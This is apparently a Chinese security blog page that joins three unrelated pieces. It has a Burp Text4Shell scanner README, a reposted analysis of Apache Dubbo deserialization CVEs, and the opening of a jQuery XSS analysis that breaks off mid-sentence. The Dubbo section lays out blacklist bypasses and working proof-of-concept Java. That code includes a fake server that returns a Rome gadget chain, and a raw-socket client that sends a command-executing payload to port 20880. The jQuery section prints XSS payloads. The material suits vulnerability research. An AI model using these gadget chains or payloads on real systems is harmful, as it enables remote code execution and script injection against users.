burp-text4shell.jar

单问题扫描

关于检测功能的注意事项:此插件只会为内置的主动扫描器提供有效负载,因此为了获得最佳覆盖率与性能,您必须正确配置扫描 – 就像任何其他内置或扩展提供的扫描一样.

如果您只想扫描 CVE-2022-42889(而不是 XSS 或 SQLi 等其他东西),这个插件可以实现。

按照以下说明,如果使用作为结果创建的扫描配置,扫描仪将仅对所有插入点执行 Text4Shell 检查。

  1. 创建新扫描时,单击Select from library选项Scan configuration
  2. 选择Audit checks - extensions onlyBurp Suite Pro 2.x 中内置的
  3. 禁用所有其他已注册活动扫描检查的扩展程序(如果适用)(例如 ActiveScan++、反斜杠驱动扫描、Burp Bounty 等),以便仅运行 Text4Shell 扫描程序

建造

执行./gradlew build,您将准备好插件 build/libs/burp-text4shell.jar

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

本文转自RacerZ 并作补充

写在前面

最近学习并梳理了一下 Apache dubbo 的两个经典由于泛化调用处理存在问题的 CVE 漏洞,并分析了一下最新 CVE-2023-29234 ,总结出了两种利用方式。

CVE-2021-30179

前置:泛化调用

泛化调用(客户端泛化调用)是指在调用方没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。详细见 https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

调试分析

org.apache.dubbo.remoting.transport.DecodeHandler#received 作为客户端 RPC 调用请求信息处理的入口点,调用 decode 方法。

image

根据参数类型可知实际会调用到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
其中会先调用 CodecSupport.getSerialization 方法,根据 id 选择相应的反序列化策略,默认会走 org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize ,最终返回一个 Hessian2ObjectInput 实例。接着这一部分会按照顺序依次解析序列化流,获取 dubbo 服务版本、服务类路径、子版本、服务方法名以及参数描述符。

image

之后会根据方法名和参数名在服务端查找是否存在对应的服务方法,如果为 null,则调用 RpcUtils.isGenericCall 判断是否为泛型引用。

image

image

如果是的话则调用 ReflectUtils.desc2classArray 方法显式加载 desc 当中的类。之后根据类型执行 readObject 反序列化参数值,并设置到 RpcInvocation 实例的各个字段当中。

image

这个地方之前也是存在反序列化攻击利用的(感兴趣的师傅可以翻一翻以前的 CVE 分析)。不过根据

https://threedr3am.github.io/2021/06/01/CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter/
提到:“受限于默认hessian或者已配置的序列化类型,具有一定的局限性”。

整体梳理一下这部分序列化/反序列化参数顺序:

  • string * 5 (dubboVersion / path / version / methodName / desc)
  • object * args (参数值实例,具体数量根据方法描述符 desc 决定)
  • map (这里面可用于设置 generic key)
    之后会去执行 org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler#received ,这里关注到 message 参数类型当前为 Request 类,因此会走第一个分支(后续会关注到 Response 分支部分)。

image

观察到刚才解析得到的各个参数值位于 messagemData 字段。

image

第一个分支当中会再次取出 mData 的字段值转化为 RpcInvocation 类实例,并调用 org.apache.dubbo.remoting.exchange.support.ExchangeHandlerAdapter#received 方法,进一步调用 reply

image

之后就会触发一系列 Filter 的 invoke 方法,调用栈如下:

image

关键 filter 函数是 org.apache.dubbo.rpc.filter.GenericFilter#invoke ,再次判断是否为泛型引用之后,会根据 inv 中提供的方法名从 dubbo 服务中找到对应方法,并取出参数类型和具体的参数值。

image

中间会从 invattachments 中取出 key 为 generic 的值,这个 generic 代表不同的反序列化策略,除 raw.return 外还有 nativejava、bean、protobuf-json 等。

raw.return 反序列化方式分析

这里如果值为 raw.return ,则会调用 PojoUtils.realize 方法,接着会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,并使用 ClassUtils.forName 方法,其中会对传入的 className 使用应用类加载器进行类加载。

image

之后对于加载的 class 调用 newInstance 进行实例化。这里首先会去调用 class 默认的 public 构造函数,如果无法访问则会去遍历所有的构造器,优先获取参数个数为 0 的构造函数并反射调用。

image

之后便是漏洞的一大利用点,它针对 HashMap 当中剩下的键值,先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法(要求为单参数),如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值,并反射调用;如果获取不到 setter 方法,则直接反射设置 field 的值。

image

因此针对 raw.return 反序列化方式的利用是通过 Map 的方式来传入利用 class,可利用 class 的位置有 3 个:

1
2
3
1. public/private 修饰的无参构造函数
2. 参数为 1 的 setter 方法
3. 支持对实例化的 class 任意字段赋值

bean 反序列化方式分析

这里会先遍历判断每个参数值是否为 JavaBeanDescriptor 类型,如果是则调用 JavaBeanSerializeUtil.deserialize 方法。

image

后面会调用到 instantiateForDeserialize 实例化方法,其中调用name2Class 方法中的 Class.forName 进行类加载,然后 instatiate 实例化。

image

image

之后 deserializeInternal ,与 raw.return 的利用思路类似,如果 beanDescriptor 实例的 type 等于 TYPE_BEAN 的话则会依次执行指定 key 字段的 setter 方法或者反射为字段赋值。

image

PS:其中 type 可以通过构造 beanDescriptor 实例时设置。

image

native 反序列化方式

这个利用比较特殊,需要配置中开启 dubbo.security.serialize.generic.native-java-enable 选项才能使用。
这里如果参数值为 byte[] 数组的话,则会传入 UnsafeByteArrayInputStream 构造函数当中,后加载并调用 NativeJavaObjectInputdeserialize 方法。

image

该类的 inputStream 字段封装了 ObjectInputStream 输入流,最终反序列化时也会调用的是后者,因此可触发二次反序列化。

image

CVE-2023-23638 (学习 bypass 思路)

受影响版本:Apache Dubbo 3.0.x <= 3.0.13;3.1.x <= 3.1.5
前版本 diff 分析
org.apache.dubbo.rpc.filter.GenericFilter#invoke 方法当中,会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,调用 SerializeClassChecker.getInstance().validateClass ,里面会作黑名单检查。

image

image

bypass 思路

native 反序列化方式

这个反序列化方式可以让我们触发一个二次反序列化,从而绕过上述安全检查。但是困难点在于 dubbo.security.serialize.generic.native-java-enable 选项默认未开启,因此利用思路就是寻找如何将它打开。
于是这个 org.apache.dubbo.common.utils.ConfigUtils#setProperties 方法就十分有用,利用它可将CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE 属性设置为 true 即可。当然从 dubbo 的源码中可知 System.setProperties 也是可以直接设置 dubbo 服务属性的。
因此绕过部分的 map 就可以写成:

image

raw.return 反序列化方式

SerializeClassChecker 类的 CLASS_DESERIALIZE_BLOCKED_SET 置空或者 OPEN_CHECK_CLASS 设置为 false,这个类实例的获取方式为单例模式,因此需要控制 INSTANCE 字段为上面指定的实例。

image

绕过部分的 map 可以写成:

image

修复方案

新增 SerializeClassChecker 类检查器,其中指定了 dubbo.application.check-serializable 默认为 true。

image

其中的 validateClass 方法会检查指定反序列化类是否可序列化。这个方法会在 realize0 中调用。

image

之前需要用来设置属性的利用类 org.apache.dubbo.common.utils.ConfigUtils 以及 java.lang.System 均未实现序列化接口,因此不再可利用;同样,org.apache.dubbo.common.utils.SerializeClassChecker 也未实现序列化接口,无法覆盖其相关检查字段。

CVE-2023-29234 (1day)

受影响版本:

image

git diff: https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
org.apache.dubbo.common.serialize.ObjectInput#readThrowable 方法抛出异常的地方作了修改,而之前版本会直接打印 obj 对象,隐式触发 toString 方法,漏洞场景类似 CVE-2021-43297。

image

反向溯源调用位置,位于该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

image

调用链如下:

1
2
3
4
5
6
7
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
--->
handleException()
--->
ObjectInput.readThrowable()
--->
obj.toString()

Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 可知 DecodeableRpcResult 这个类是在 dubbo 服务的消费者接收提供者方发来的响应时解码使用。

利用方式一:fake server

测试版本:Apache Dubbo 3.1.10
我们知道 dubbo 支持多种序列化方式,对于 dubbo 协议来说默认为 hessian2,其他如下所示(hessian2 对应 id 为 2,也可以通过 Serialization.getContentTypeId() 获得)

image

由官方文档可知,这个协议如何配置完全由服务方定的,因此完全可以做一个 fake server 来诱导客户端主动连接。

image

因此我们可以重写服务端编码响应信息函数的部分逻辑,主动构造一个用于上面提到的 toString 调用链对象来替代 Throwable 实例 th。
具体重写位置在 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeResponseData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
Result result = (Result) data;
// currently, the version value in Response records the version of Request
boolean attach = Version.isSupportResponseAttachment(version);
// Throwable th = result.getException();
Object th = null; // 利用点: 用于 toString 的 gadget chain
try {
th = getThrowablePayload("open -a calculator");
} catch (Exception e) {

}

if (th == null) {
Object ret = result.getValue();
if (ret == null) {
out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
} else {
out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);
out.writeObject(ret);
}
} else {
out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
// out.writeThrowable(th);
out.writeObject(th); // 直接序列化对象即可
}

if (attach) {
// returns current version of Response to consumer side.
result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
out.writeAttachments(result.getObjectAttachments());
}
}

这里的 toString 调用链以 Rome toString 的利用部分为例,师傅们也可以选择/挖掘其他可利用的 gadget;同时,为了方便这里直接指定服务端的协议配置中的序列化方式为 nativejava,它反序列化时直接会使用 ObjectInputStream#readObject 。大家也可以探索一下其他序列化方式当中的黑名单绕过情况。

1
<dubbo:protocol name="dubbo" port="20880" serialization="nativejava"/>

客户端发起正常服务请求后,解码响应信息时顺利触发至 org.apache.dubbo.common.serialize.ObjectInput#readThrowable 位置,状态如下:

image

利用方式二:客户端打服务端

测试版本:3.1.5
由于 dubbo 并没有限制客户端不能发送 Response 数据,因此客户端同样可以构造一个 Response 信息发给服务端。
但是在服务端解码响应信息时,即函数调用位置为 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody,不同版本之间存在差异性,这里测试了一下 3.1.10 以及 3.1.5 之间的区别。
首先是 3.1.5 版本,注意到在创建 DecodeableRpcResult 实例时,其中一个构造参数 invocation 来自于 getRequestData(id)

image

跟入可知这个 invocation 来自于 dubbo 服务当中还没处理完毕的请求,会根据 id 值来获取,而由于我们这里只发送了一个 Response 信息,DefaultFuture 当中的 FUTURES map 为空,这里也就会返回 null。

image

但是依然可以将 DecodeableRpcResult 实例构造出来,并设置到 res 变量的 mResult 字段当中。

image

后续在触发到 toString 入口的过程中,不会因为 mResult 字段为 null 或者非 Decodeable 类而中断(DecodeableRpcResultDecodeable 的实现)。

image

而对于 3.1.10 版本,getRequestData 方法如果获取不到 future 会直接抛出异常,进而无法创建出有效的 DecodeableRpcResult 实例。

image

进而,后续 message 参数会由于是 null 而直接返回。

image

这里给出 3.1.5 版本下的测试 POC 核心部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void main(String[] args) throws Exception {

ByteArrayOutputStream boos = new ByteArrayOutputStream();
ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
Serialization serialization = new NativeJavaSerialization();
NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

// header.
byte[] header = new byte[HEADER_LENGTH];
// set magic number.
Bytes.short2bytes(MAGIC, header);
// set request and serialization flag.
header[2] = serialization.getContentTypeId();

header[3] = Response.OK;
Bytes.long2bytes(1, header, 4);

// result
Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
out.writeByte(RESPONSE_WITH_EXCEPTION);
out.writeObject(exp);

out.flushBuffer();

Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
boos.write(header);
boos.write(nativeJavaBoos.toByteArray());

byte[] responseData = boos.toByteArray();

Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(responseData);
outputStream.flush();
outputStream.close();
}

protected static Object getThrowablePayload(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);

return delegate;
}

image

完整 POC 项目基于 DubboPOC 作的修改和添加,可见 CVE-2023-29234
PS:git diff 当中还存在其他位置的 patch,值得进一步探索其他的利用方式(篇幅有限)。

引用

[1] Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索 - 先知社区 (aliyun.com)
[2] CVE-2023-29234: Bypass serialize checks in Apache Dubbo-Apache Mail Archives
[3] 开发服务 | Apache Dubbo
[4] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 - 先知社区 (aliyun.com)
[5] 【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179) (qq.com)
[6] RPC 通信协议 | Apache Dubbo
[7] DubboPOC/src/main/java/top/lz2y/vul/CVE202323638.java at main · lz2y/DubboPOC (github.com)
[8] Apache Dubbo 反序列化漏洞(CVE-2023-29234) · Issue #334 · y1ong/blog-timeline (github.com)

jQuery最新xss漏洞分析——CVE-2020-11022/11023

jQuery最新xss漏洞分析——CVE-2020-11022/11023

本文转自Jayway 并作补充

背景

jQuery官方上周发布了最新版本3.5.0,主要修复了两个安全问题,官方博客为:

1
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

据NVD描述:在大于或等于1.2且在3.5.0之前的jQuery版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),从而导致xss漏洞。

image

二、前置知识

在讲解漏洞之前,需要了解jQuery的基本用法和历史漏洞,具体可参考:jQuery框架漏洞全总结及开发建议:

1
https://mp.weixin.qq.com/s/M1BYj6VbeoNV4C5M7cR_hA

而与此次jQuery漏洞联系比较紧密的是html()等方法,此方法返回或设置被选元素的内容 (inner HTML),可用于设置所有选定元素的内容,看一个简单的使用案例:

image

此处定义一个点击事件,会对所有的p元素进行匹配,并修改为相同的内容。

三、漏洞复现

对于此漏洞原作者搭建了在线环境,内置了三个xss poc,点击Append via .html()按钮即可触发xss:

1
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

image

审查源码,逻辑很简单:

image

首先使用如下代码模拟了一个开发场景,即将页面的所有div元素替换为根据ID取到的sanitizedHTML:

1
2
3
4
5
6
7
8
9
10
<script>
function test(n,jq){
sanitizedHTML = document.getElementById('poc'+n).innerHTML;
if(jq){
$('#div').html(sanitizedHTML);
}else{
div.innerHTML=sanitizedHTML;
}
}
</script>

虽然三个poc都使用了包含onerror事件的img标签,但其实它们是放在属性或style元素内部,因此会绕过HTML清理器。

以poc1为例,根据此id取到的值如下:

1
<style><style /><img src=xonerror=alert(1)>

点击之后,执行xss,此时审查div元素:

image

发现我们提交的poc多了一个闭合标签,变成了:

1
<style><style /></style><imgsrc=x onerror=alert(1)>

闭合了